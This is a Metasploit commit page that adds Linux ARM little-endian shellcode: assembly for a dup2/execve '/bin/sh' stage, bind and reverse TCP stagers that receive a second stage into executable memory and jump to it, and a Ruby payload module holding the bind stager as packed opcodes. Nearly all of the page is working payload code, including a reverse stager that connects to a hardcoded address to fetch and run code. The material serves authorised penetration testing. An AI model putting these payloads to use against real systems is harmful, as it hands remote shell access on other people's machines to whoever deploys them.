Skip to content

Commit 07c99f8

Browse files
author
jvazquez-r7
committed
Land rapid7#1879, @dcbz ARM stagers
2 parents fff51e2 + 8b8fb9f commit 07c99f8

File tree

6 files changed

+512
-0
lines changed

6 files changed

+512
-0
lines changed

‎external/source/shellcode/linux/armle/stage_shell.s

Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
@@
2+
@
3+
@ Name: generic
4+
@ Qualities: -
5+
@ Authors: nemo <nemo [at] felinemenace.org>
6+
@ License: MSF_LICENSE
7+
@ Description:
8+
@
9+
@ dup2 / execve("/bin/sh") stage for Linux ARM LE architecture.
10+
@@
11+
12+
.text
13+
.globl _start
14+
_start:
15+
int dup2(int oldfd, int newfd);
16+
mov r7,#63 ; __NR_dup2
17+
mov r1,#3
18+
up:
19+
mov r0,r12 ; oldfd (descriptor stored in r12 by the stager)
20+
sub r1,#1 ; newfd
21+
swi 0
22+
cmp r1,#1
23+
bge up
24+
@ execve(const char *path, char *const argv[], char *const envp[]);
25+
mov r7,#11 ; __NR_execve
26+
add r0,pc,#24 ; *path
27+
sub sp,#24
28+
str r0,[sp,#-20]
29+
mov r2,#0
30+
str r2,[sp,#-16]
31+
add r1,sp,#-20 ; *argv[]
32+
mov r2,r1 ; *envp[]
33+
swi 0
34+
.string "/bin/sh"

‎external/source/shellcode/linux/armle/stager_sock_bind.s

Lines changed: 101 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,101 @@
1+
@@
2+
@
3+
@ Name: stager_sock_bind
4+
@ Qualities: -
5+
@ Authors: nemo <nemo [at] felinemenace.org>
6+
@ License: MSF_LICENSE
7+
@ Description:
8+
@
9+
@ Implementation of a Linux portbind TCP stager for ARM LE architecture.
10+
@
11+
@ Socket descriptor in r12.
12+
@
13+
@ Assemble with: as stager_sock_bind.s -o stager_sock_bind.o
14+
@ Link with: ld stager_sock_bind.o -o stager_sock_bind
15+
@
16+
@ Meta-Information:
17+
@
18+
@ meta-shortname=Linux Bind TCP Stager
19+
@ meta-description=Listen on a port for a connection and run a second stage
20+
@ meta-authors=nemo <nemo [at] felinemenace.org>
21+
@ meta-os=linux
22+
@ meta-arch=armle
23+
@ meta-category=stager
24+
@ meta-connection-type=bind
25+
@ meta-name=bind_tcp
26+
@@
27+
28+
.text
29+
.globl _start
30+
_start:
31+
@ int socket(int domain, int type, int protocol);
32+
ldr r7,=281 @ __NR_socket
33+
mov r0,#2 @ domain = AF_INET
34+
mov r1,#1 @ type = SOCK_STREAM
35+
mov r2,#6 @ protocol = IPPROTO_TCP
36+
swi 0
37+
@ int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
38+
mov r12,r0 @ sockfd
39+
add r7,#1 @ __NR_bind
40+
add r1,pc,#176 @ *addr
41+
mov r2,#16 @ addrlen
42+
swi 0
43+
@ int listen(int sockfd, int backlog);
44+
add r7,#2 @ __NR_listen
45+
mov r0,r12 @ sockfd
46+
swi 0
47+
@ int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
48+
add r7,#1 @ __NR_accept
49+
mov r0,r12 @ sockfd
50+
sub r1,r1,r1 @ *addr = NULL
51+
mov r2,r1 @ *addrlen = NULL
52+
swi 0
53+
@ ssize_t recv(int sockfd, void *buf, size_t len, int flags);
54+
mov r12,r0 @ sockfd
55+
sub sp,#4
56+
add r7,#6 @ __NR_recv
57+
mov r1,sp @ *buf (on the stack)
58+
mov r2,#4 @ len
59+
mov r3,#0 @ flags
60+
swi 0
61+
@ round length
62+
ldr r1,[sp,#0]
63+
ldr r3,=0xfffff000
64+
and r1,r1,r3
65+
mov r2,#1
66+
lsl r2,#12
67+
@ void *mmap2(void *addr, size_t length, int prot, int flags, int fd, off_t pgoffset);
68+
add r1,r2 @ length
69+
mov r7, #192 @ __NR_mmap2
70+
ldr r0,=0xffffffff @ *addr = NULL
71+
mov r2,#7 @ prot = PROT_READ | PROT_WRITE | PROT_EXEC
72+
ldr r3,=0x1022 @ flags = MAP_ANON | MAP_PRIVATE
73+
mov r4,r0 @ fd
74+
mov r5,#0 @ pgoffset
75+
swi 0
76+
@ recv loop
77+
@ ssize_t recv(int sockfd, void *buf, size_t len, int flags);
78+
add r7,#99 @ __NR_recv
79+
mov r1,r0 @ *buf
80+
mov r0,r12 @ sockfd
81+
mov r3,#0 @ flags
82+
@ remove blocksize from total length
83+
loop:
84+
ldr r2,[sp,#0]
85+
sub r2,#1000
86+
str r2,[sp,#0]
87+
cmp r2, #0
88+
ble last
89+
mov r2,#1000 @ len
90+
swi 0
91+
b loop
92+
last:
93+
add r2,#1000 @ len
94+
swi 0
95+
@ branch to code
96+
mov pc,r1
97+
@ addr
98+
@ port: 4444 , sin_fam = 2
99+
.word 0x5c110002
100+
@ ip
101+
.word 0x00000000

‎external/source/shellcode/linux/armle/stager_sock_reverse.s

Lines changed: 92 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,92 @@
1+
@@
2+
@
3+
@ Name: stager_sock_reverse
4+
@ Qualities: -
5+
@ Authors: nemo <nemo [at] felinemenace.org>
6+
@ License: MSF_LICENSE
7+
@ Description:
8+
@
9+
@ Implementation of a Linux reverse TCP stager for ARM LE architecture.
10+
@
11+
@ Socket descriptor in r12.
12+
@
13+
@ Assemble with: as stager_sock_reverse.s -o stager_sock_reverse.o
14+
@ Link with: ld stager_sock_reverse.o -o stager_sock_reverse
15+
@
16+
@ Meta-Information:
17+
@
18+
@ meta-shortname=Linux Reverse TCP Stager
19+
@ meta-description=Connect back to the framework and run a second stage
20+
@ meta-authors=nemo <nemo [at] felinemenace.org>
21+
@ meta-os=linux
22+
@ meta-arch=armle
23+
@ meta-category=stager
24+
@ meta-connection-type=reverse
25+
@ meta-name=reverse_tcp
26+
@@
27+
28+
.text
29+
.globl _start
30+
_start:
31+
@ int socket(int domain, int type, int protocol);
32+
ldr r7,=281 @ __NR_socket
33+
mov r0,#2 @ domain = AF_INET
34+
mov r1,#1 @ type = SOCK_STREAM
35+
mov r2,#6 @ protocol = IPPROTO_TCP
36+
swi 0
37+
@ int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
38+
mov r12,r0 @ sockfd
39+
add r7,#2 @ __NR_socket
40+
add r1,pc,#144 @ *addr
41+
mov r2,#16 @ addrlen
42+
swi 0
43+
@ ssize_t recv(int sockfd, void *buf, size_t len, int flags);
44+
mov r0,r12 @ sockfd
45+
sub sp,#4
46+
add r7,#8 @ __NR_recv
47+
mov r1,sp @ *buf (on the stack)
48+
mov r2,#4 @ len
49+
mov r3,#0 @ flags
50+
swi 0
51+
@ round length
52+
ldr r1,[sp,#0]
53+
ldr r3,=0xfffff000
54+
and r1,r1,r3
55+
mov r2,#1
56+
lsl r2,#12
57+
@ void *mmap2(void *addr, size_t length, int prot, int flags, int fd, off_t pgoffset);
58+
add r1,r2 @ length
59+
mov r7, #192 @ __NR_mmap2
60+
ldr r0,=0xffffffff @ *addr = NULL
61+
mov r2,#7 @ prot = PROT_READ | PROT_WRITE | PROT_EXEC
62+
ldr r3,=0x1022 @ flags = MAP_ANON | MAP_PRIVATE
63+
mov r4,r0 @ fd
64+
mov r5,#0 @ pgoffset
65+
swi 0
66+
@ recv loop
67+
@ ssize_t recv(int sockfd, void *buf, size_t len, int flags);
68+
add r7,#99 @ __NR_recv
69+
mov r1,r0 @ *buf
70+
mov r0,r12 @ sockfd
71+
mov r3,#0 @ flags
72+
@ remove blocksize from total length
73+
loop:
74+
ldr r2,[sp,#0]
75+
sub r2,#1000
76+
str r2,[sp,#0]
77+
cmp r2, #0
78+
ble last
79+
mov r2,#1000 @ len
80+
swi 0
81+
b loop
82+
last:
83+
add r2,#1000 @ len
84+
swi 0
85+
@ branch to code
86+
mov pc,r1
87+
@ addr
88+
@ port: 4444 , sin_fam = 2
89+
.word 0x5c110002
90+
@ ip: 127.0.0.1
91+
.word 0x01aca8c0
92+
@.word 0x0100007f

‎modules/payloads/stagers/linux/armle/bind_tcp.rb

Lines changed: 120 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,120 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
9+
require 'msf/core'
10+
require 'msf/core/handler/bind_tcp'
11+
12+
13+
###
14+
#
15+
# BindTcp
16+
# -------
17+
#
18+
# Linux bind TCP stager.
19+
#
20+
###
21+
module Metasploit3
22+
23+
include Msf::Payload::Stager
24+
25+
def initialize(info = {})
26+
super(merge_info(info,
27+
'Name' => 'Bind TCP Stager',
28+
'Description' => 'Listen for a connection',
29+
'Author' => 'nemo <nemo[at]felinemenace.org>',
30+
'License' => MSF_LICENSE,
31+
'Platform' => 'linux',
32+
'Arch' => ARCH_ARMLE,
33+
'Handler' => Msf::Handler::BindTcp,
34+
'Stager' =>
35+
{
36+
'Offsets' =>
37+
{
38+
'LPORT' => [ 226, 'n' ],
39+
},
40+
'Payload' =>
41+
[
42+
0xe59f70d4, # ldr r7, [pc, #212]
43+
0xe3a00002, # mov r0, #2
44+
0xe3a01001, # mov r1, #1
45+
0xe3a02006, # mov r2, #6
46+
0xef000000, # svc 0x00000000
47+
0xe1a0c000, # mov ip, r0
48+
0xe2877001, # add r7, r7, #1
49+
0xe28f10b0, # add r1, pc, #176
50+
0xe3a02010, # mov r2, #16
51+
0xef000000, # svc 0x00000000
52+
0xe2877002, # add r7, r7, #2
53+
0xe1a0000c, # mov r0, ip
54+
0xef000000, # svc 0x00000000
55+
0xe2877001, # add r7, r7, #1
56+
0xe1a0000c, # mov r0, ip
57+
0xe0411001, # sub r1, r1, r1
58+
0xe1a02001, # mov r2, r1
59+
0xef000000, # svc 0x00000000
60+
0xe1a0c000, # mov ip, r0
61+
0xe24dd004, # sub sp, sp, #4
62+
0xe2877006, # add r7, r7, #6
63+
0xe1a0100d, # mov r1, sp
64+
0xe3a02004, # mov r2, #4
65+
0xe3a03000, # mov r3, #0
66+
0xef000000, # svc 0x00000000
67+
0xe59d1000, # ldr r1, [sp]
68+
0xe59f3070, # ldr r3, [pc, #112]
69+
0xe0011003, # and r1, r1, r3
70+
0xe3a02001, # mov r2, #1
71+
0xe1a02602, # lsl r2, r2, #12
72+
0xe0811002, # add r1, r1, r2
73+
0xe3a070c0, # mov r7, #192
74+
0xe3e00000, # mvn r0, #0
75+
0xe3a02007, # mov r2, #7
76+
0xe59f3054, # ldr r3, [pc, #84]
77+
0xe1a04000, # mov r4, r0
78+
0xe3a05000, # mov r5, #0
79+
0xef000000, # svc 0x00000000
80+
0xe2877063, # add r7, r7, #99
81+
0xe1a01000, # mov r1, r0
82+
0xe1a0000c, # mov r0, ip
83+
0xe3a03000, # mov r3, #0
84+
0xe59d2000, # ldr r2, [sp]
85+
0xe2422ffa, # sub r2, r2, #1000
86+
0xe58d2000, # str r2, [sp]
87+
0xe3520000, # cmp r2, #0
88+
0xda000002, # ble 811c <last>
89+
0xe3a02ffa, # mov r2, #1000
90+
0xef000000, # svc 0x00000000
91+
0xeafffff7, # b 80fc <loop>
92+
0xe2822ffa, # add r2, r2, #1000
93+
0xef000000, # svc 0x00000000
94+
0xe1a0f001, # mov pc, r1
95+
0x5c110002, # .word 0x5c110002
96+
0x00000000, # .word 0x00000000
97+
0x00000119, # .word 0x00000119
98+
0xfffff000, # .word 0xfffff000
99+
0x00001022 # .word 0x00001022
100+
].pack("V*")
101+
102+
}
103+
))
104+
end
105+
106+
def handle_intermediate_stage(conn, payload)
107+
108+
print_status("Transmitting stage length value...(#{payload.length} bytes)")
109+
110+
address_format = 'v'
111+
112+
# Transmit our intermediate stager
113+
conn.put( [ payload.length ].pack(address_format) )
114+
115+
Rex::ThreadSafe.sleep(0.5)
116+
117+
return true
118+
end
119+
120+
end

0 commit comments

Comments
 (0)